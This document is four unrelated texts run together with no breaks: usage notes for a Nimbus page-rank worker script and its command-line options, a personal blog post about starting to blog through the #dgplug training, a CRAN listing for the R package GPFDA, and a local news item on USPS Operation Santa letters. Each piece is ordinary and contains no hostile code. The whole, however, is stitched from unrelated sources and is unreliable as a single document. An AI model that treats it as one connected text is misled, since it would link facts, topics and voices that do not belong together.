$ ./scripts/start-workers.sh 1 --fg -l applications/graph/page_rank/libpagerank.so
You can pass options to the application, as follows:
$ ./scripts/start-workers.sh 1 --fg -l applications/graph/page_rank/libpagerank.so
-h [ --help ] produce help message
-g [ --input_dir ] arg (=../../applications/graph/page_rank/input-sample)
input directory that holds partitioned
graph (absolute path or relative to
nimbus_worker executable located at
<nimbus-root>/nodes/nimbus_worker)
-o [ --output_dir ] arg (=output) output directory that saves the ranks
(absolute path or relative to
nimbus_worker executable located at
<nimbus-root>/nodes/nimbus_worker)
-i [ --iteration ] arg (=10) number of iterations
The input files to page rank include the graph partitions, each with sets of nodes and edges grouped as a single logical object. The application is written to match the output files that the graph_partitioner
generates. There are two sample input files in this directory. Both partition the wikispeedia graph in graph_samples
folder into 10 pieces:
For more information on the input format of the page rank algorithm and how to generate the graph partitions, please refer to the README file in the graph_partitioner
folder.


It has been more than 16 years since I learnt to write HTML, more than 8 years since I learnt computer programming, more than 4 years since I moved this homepage from the internal IIT Kanpur portal to Github.io, more than 2 years since I have had the urge to write a blog, and about 1 year since I created the `blog` section in this homepage. But it was not until this month that I finally started writing. And it is all thanks to the #dgplug summer training program.
I had many misconceptions about blogging. To start off, I thought blogging was for contributing to the knowledge of the world in a new and unique manner. Then, I thought of blogging as a source of passive income, and hence classified it as useless unless I could earn through it. Thirdly, I thought blogs need to be top quality literature. And lastly, I thought that creating methods of interaction was key to running a blog.
So what finally helped me start writing was this article shared in the IRC channel of #dgplug. It says: blog what you have struggled with. I wouldn't say that this is the theme that I followed with the first few blogs. But it helped me write those because it broke so many of my myths about blogging.
The second most helpful thing that happened was a conversation on the IRC channel itself. I reached out to the community to ask for smart and cheap ways of integrating "likes" and "comments" like features in my blog, which was hosted as a static website. I was planning to use AJAX calls to a backend API and having a database to save all the interactions. And to me, it was important to get feedback about my writing because I thought that was the only way to improve. In this conversation, a simple statement helped me come to a clear conclusion:
Creating interactions on your blog either creates privacy issues for your readers, or security threats to your blog, or both.Additionally, I was suggested that posting a link to the article on Twitter, Reddit or even the IRC channel itself would be enough for me to get constructive feedback for my blog. So my path was clear: no user interactions on my blog please.
I had started writing and it felt good. I have read books about Habit formation. So I also re-imagined the meaning of blogging from the full-form which I always knew: Web-Log. I understood that my blog just needs to be a log of things that go in my head. I just need to use it almost like a diary. Writing whatever I feel like writing.
Right then, came the icing on the cake. Robin Schubert took a session on blogging. This class was conducted today, over the same #dgplug IRC channel and it drove the point home for me. Here are a few resources which were shared in this session:
Along with it, we learnt about RSS feeds and how blogs can be subscribed to using them. We learnt about the #dgplug planet. And now it all seemed to make perfect sense to me.After the class was over, one of the veterans of the channel shared the blogging story of his wife. His wife started learning computer science after her marriage and documented everything she learnt in a Tamil blog. And soon her blog grew to cover many concepts. She continued writing them because it helped her understand those concepts better, but soon a compilation of her blogs took the shape of a book, which was shared on Free Tamil Books website. Now she is a huge influence as she has created a great free repository for learning programming for Tamil readers. This story was inspirational for me. I hope that I properly inculcate the habit of writing on this blog. I will be consistent, writing at least twice a week.
I also have rekindled inspiration for writing such blogs in Hindi, which is my mother tongue. Maybe I will do that using the solutions I myself described in this blog.
Happy living, reading and writing!


Use functional regression as the mean structure and Gaussian Process as the covariance structure.
| Version: | 2.2 |
| Depends: | R (≥ 3.1), fda.usc, spam, fda |
| Imports: | MASS |
| Published: | 2014-09-29 |
| Author: | Jian Qing Shi, Yafeng Cheng |
| Maintainer: | Yafeng Cheng <yafeng.cheng at ncl.ac.uk> |
| License: | GPL-3 |
| NeedsCompilation: | no |
| In views: | FunctionalData |
| CRAN checks: | GPFDA results |
| Reference manual: | GPFDA.pdf |
| Package source: | GPFDA_2.2.tar.gz |
| Windows binaries: | r-devel: GPFDA_2.2.zip, r-release: GPFDA_2.2.zip, r-oldrel: GPFDA_2.2.zip |
| OS X binaries: | r-release: GPFDA_2.2.tgz, r-oldrel: GPFDA_2.2.tgz |
| Old sources: | GPFDA archive |
Please use the canonical form https://CRAN.R-project.org/package=GPFDA to link to this page.


USPS launching site to adopt letters to Santa from low-income kids
by Falycia CampbellCOLUMBUS, Ohio — Forget Elf on a Shelf....this year be the Elf yourself and help the jolly old Elf himself with Operation Santa.
All over the country kids will send letters to Santa asking for everything from toys to basics, like coats or shoes.
Starting on Monday, letters to Santa from low-income kids are available for adoption online through the United States Postal Service.
You will be able to pick a letter from any city in the country and it's tax-deductible.
Just remember your gifts need to be mailed by December 20.
If you want your child to be added to the list, beanelf.org has everything you need to know.